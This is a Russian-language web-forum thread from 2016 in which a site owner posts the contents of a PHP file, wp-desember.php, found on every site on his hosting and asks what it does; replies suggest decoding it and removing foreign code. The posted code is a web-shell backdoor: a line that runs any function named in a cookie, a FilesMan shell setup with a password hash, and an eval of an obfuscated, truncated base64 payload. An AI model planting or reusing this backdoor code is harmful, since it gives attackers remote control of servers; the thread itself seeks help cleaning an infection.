ReSQL.ru
     
powered by simpleCommunicator - 2.0.60     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Вирус на сайте
6 сообщений из 6, страница 1 из 1
Вирус на сайте
    #39359936
astalavistabest
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
astalavistabest
Гость
Здравствуйте. На сайте появился файл wp-desember.php.
Каким образом безопасно узнать, что он делает, и "наделал" ли он что-то? Еще вопрос, можно ли каки-либо образом ухнать, как был взломан сервер? дело в том, что файл появился на всех сайтах на хостинге, а там их с десяток, начиная от джумлы и вордпресса и заканчивая самописными.


содержимое файла:
Код: php
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
<?php

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);

  

$auth_pass = "d41f30ec49e9"."1e9a01ed6df1"."eab25fb0";
$color = "#d"."f5";
$default_action = 'Fi'.'les'.'Man';
$default_use_ajax = false;
$default_charset = 'ut'.'f-8';

$ecode = "uns"."er"."ia"."li"."ze"."(trim(base"."64_de"."co"."de";
$database = 'YToxNTE1OntpOjA7czo1NjoiYVdZb0lXVnRjSFI1S0NSZlUwVlNWa............................
oWTNScGIyNG5JQzRnSkY5UVQxTlVXeWRoSjEwcE93PT0iO2k6MTUxNDtzOjg6IlpYaHBkRHM9Ijt9';
// (строка в несколько десятков строк)

print eval(implode("\n", array_map('base64_decode', unserialize(trim(base64_decode( $database ))))));
...
Рейтинг: 0 / 0
03.12.2016, 22:13
| Ответить | Цитировать | Написать  
Вирус на сайте
    #39359937
SharuPoNemnogu
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
SharuPoNemnogu
Участник
Код: php
1.
print_r(array_map('base64_decode', unserialize(trim(base64_decode( $database )))));

вот тут код, который запускается
...
Рейтинг: 0 / 0
03.12.2016, 22:21
| Ответить | Цитировать | Написать  
Вирус на сайте
    #39359941
astalavistabest
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
astalavistabest
Гость
SharuPoNemnogu
Код: php
1.
print_r(array_map('base64_decode', unserialize(trim(base64_decode( $database )))));

вот тут код, который запускается

Что-то ничего не понятно... Примерно можете сказать его назначение?
Файл во вложении
...
Рейтинг: 0 / 0
03.12.2016, 22:45
| Ответить | Цитировать | Написать  
Вирус на сайте
    #39360207
SharuPoNemnogu
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
SharuPoNemnogu
Участник
сюда в спойлер засунь что выводит
...
Рейтинг: 0 / 0
05.12.2016, 08:55
| Ответить | Цитировать | Написать  
Вирус на сайте
    #39360686
netwind
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
netwind
Участник
astalavistabestSharuPoNemnogu
Код: php
1.
print_r(array_map('base64_decode', unserialize(trim(base64_decode( $database )))));

вот тут код, который запускается

Что-то ничего не понятно... Примерно можете сказать его назначение?
Файл во вложении
а зачем
Не открывал файл но знаю, что назначение сугубо удушливое.
Это вообще не важно. Важно, что вам надо удалить весь чужой код.
...
Рейтинг: 0 / 0
05.12.2016, 16:57
| Ответить | Цитировать | Написать  
Вирус на сайте
    #39372375
Kempriol
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Kempriol
Гость
astalavistabest,

буквально на днях столкнулся с точно такой же заразой. сайты на джумле. у вас удалось выяснить лазейку заражения?
...
Рейтинг: 0 / 0
21.12.2016, 20:58
| Ответить | Цитировать | Написать  
6 сообщений из 6, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Вирус на сайте
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]